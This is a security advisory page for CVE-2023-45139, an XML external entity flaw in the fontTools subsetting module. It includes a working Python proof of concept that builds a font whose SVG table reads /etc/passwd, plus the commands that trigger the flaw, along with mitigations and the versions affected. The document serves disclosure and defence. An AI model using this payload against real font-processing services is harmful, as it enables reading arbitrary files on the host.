Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS02NjczLTQ5ODMtMnZ4Nc4AA4Sn
fonttools XML External Entity Injection (XXE) Vulnerability
Summary
As of fonttools>=4.28.2
the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed.
This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system.
PoC
The vulnerability can be reproduced following the bellow steps on a unix based system.
- Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised
/etc/passwd
for our POC file to include and modified an existing subset integration test to build the POC font - see bellow.
from string import ascii_letters
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
from fontTools.ttLib import newTable
XXE_SVG = """\
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<g id="glyph1">
<text font-size="10" x="0" y="10">&test;</text>
</g>
</svg>
"""
def main():
# generate a random TTF font with an SVG table
glyph_order = [".notdef"] + list(ascii_letters)
pen = TTGlyphPen(glyphSet=None)
pen.moveTo((0, 0))
pen.lineTo((0, 500))
pen.lineTo((500, 500))
pen.lineTo((500, 0))
pen.closePath()
glyph = pen.glyph()
glyphs = {g: glyph for g in glyph_order}
fb = FontBuilder(unitsPerEm=1024, isTTF=True)
fb.setupGlyphOrder(glyph_order)
fb.setupCharacterMap({ord(c): c for c in ascii_letters})
fb.setupGlyf(glyphs)
fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order})
fb.setupHorizontalHeader()
fb.setupOS2()
fb.setupPost()
fb.setupNameTable({"familyName": "TestSVG", "styleName": "Regular"})
svg_table = newTable("SVG ")
svg_table.docList = [
(XXE_SVG, 1, 12)
]
fb.font["SVG "] = svg_table
fb.font.save('poc-payload.ttf')
if __name__ == '__main__':
main()
- Subset the font with an affected version of fontTools - we tested on
fonttools==4.42.1
andfonttools==4.28.2
- using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process):
pyftsubset poc-payload.ttf --output-file="poc-payload.subset.ttf" --unicodes="*" --ignore-missing-glyphs
- Read the parsed SVG table in the subsetted font:
ttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx
Observed the included contents of the /etc/passwd
file.
Impact
Note the final severity is dependant on the environment fontTools is running in.
- The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on
Possible Mitigations
There may be other ways to mitigate the issue, but some suggestions:
- Set the
resolve_entities=False
flag on parsing methods - Consider further methods of disallowing doctype declarations
- Consider recursive regex matching
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NjczLTQ5ODMtMnZ4Nc4AA4Sn
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 11 months ago
Updated: 7 months ago
CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Identifiers: GHSA-6673-4983-2vx5, CVE-2023-45139
References:
- https://github.com/fonttools/fonttools/security/advisories/GHSA-6673-4983-2vx5
- https://github.com/fonttools/fonttools/commit/9f61271dc1ca82ed91f529b130fe5dc5c9bf1f4c
- https://github.com/fonttools/fonttools/releases/tag/4.43.0
- https://nvd.nist.gov/vuln/detail/CVE-2023-45139
- https://lists.fedoraproject.org/archives/list/[email protected]/message/VY63B4SGY4QOQGUXMECRGD6K3YT3GJ75
- http://www.openwall.com/lists/oss-security/2024/03/08/2
- http://www.openwall.com/lists/oss-security/2024/03/09/1
- https://github.com/advisories/GHSA-6673-4983-2vx5
Blast Radius: 34.0
Affected Packages
pypi:fonttools
Dependent packages: 565Dependent repositories: 33,983
Downloads: 57,407,794 last month
Affected Version Ranges: >= 4.28.2, < 4.43.0
Fixed in: 4.43.0
All affected versions: 4.28.2, 4.28.3, 4.28.4, 4.28.5, 4.29.0, 4.29.1, 4.30.0, 4.31.0, 4.31.1, 4.31.2, 4.32.0, 4.33.0, 4.33.1, 4.33.2, 4.33.3, 4.34.0, 4.34.1, 4.34.2, 4.34.3, 4.34.4, 4.35.0, 4.36.0, 4.37.0, 4.37.1, 4.37.2, 4.37.3, 4.37.4, 4.38.0, 4.39.0, 4.39.1, 4.39.2, 4.39.3, 4.39.4, 4.40.0, 4.41.0, 4.41.1, 4.42.0, 4.42.1
All unaffected versions: 3.1.0, 3.1.1, 3.1.2, 3.2.0, 3.2.1, 3.2.2, 3.2.3, 3.3.0, 3.3.1, 3.4.0, 3.5.0, 3.6.0, 3.6.1, 3.6.2, 3.6.3, 3.7.0, 3.7.1, 3.7.2, 3.8.0, 3.9.0, 3.9.1, 3.9.2, 3.10.0, 3.11.0, 3.12.0, 3.12.1, 3.13.0, 3.13.1, 3.14.0, 3.15.0, 3.15.1, 3.16.0, 3.17.0, 3.18.0, 3.19.0, 3.20.0, 3.20.1, 3.21.0, 3.21.1, 3.21.2, 3.22.0, 3.23.0, 3.24.0, 3.24.1, 3.24.2, 3.25.0, 3.26.0, 3.27.0, 3.27.1, 3.28.0, 3.29.0, 3.29.1, 3.30.0, 3.31.0, 3.32.0, 3.33.0, 3.34.0, 3.34.1, 3.34.2, 3.35.0, 3.35.1, 3.35.2, 3.36.0, 3.37.0, 3.37.1, 3.37.2, 3.37.3, 3.38.0, 3.39.0, 3.40.0, 3.41.0, 3.41.1, 3.41.2, 3.42.0, 3.43.0, 3.43.1, 3.43.2, 3.44.0, 4.0.0, 4.0.1, 4.0.2, 4.1.0, 4.2.0, 4.2.1, 4.2.2, 4.2.3, 4.2.4, 4.2.5, 4.3.0, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.5.0, 4.6.0, 4.7.0, 4.8.0, 4.8.1, 4.9.0, 4.10.0, 4.10.1, 4.10.2, 4.11.0, 4.12.0, 4.12.1, 4.13.0, 4.14.0, 4.15.0, 4.16.0, 4.16.1, 4.17.0, 4.17.1, 4.18.0, 4.18.1, 4.18.2, 4.19.0, 4.19.1, 4.20.0, 4.21.0, 4.21.1, 4.22.0, 4.22.1, 4.23.0, 4.23.1, 4.24.0, 4.24.1, 4.24.2, 4.24.3, 4.24.4, 4.25.0, 4.25.1, 4.25.2, 4.26.0, 4.26.1, 4.26.2, 4.27.0, 4.27.1, 4.28.0, 4.28.1, 4.43.0, 4.43.1, 4.44.0, 4.44.1, 4.44.3, 4.45.0, 4.45.1, 4.46.0, 4.47.0, 4.47.2, 4.48.1, 4.49.0, 4.50.0, 4.51.0, 4.52.1, 4.52.3, 4.52.4, 4.53.0, 4.53.1, 4.54.0, 4.54.1, 4.55.0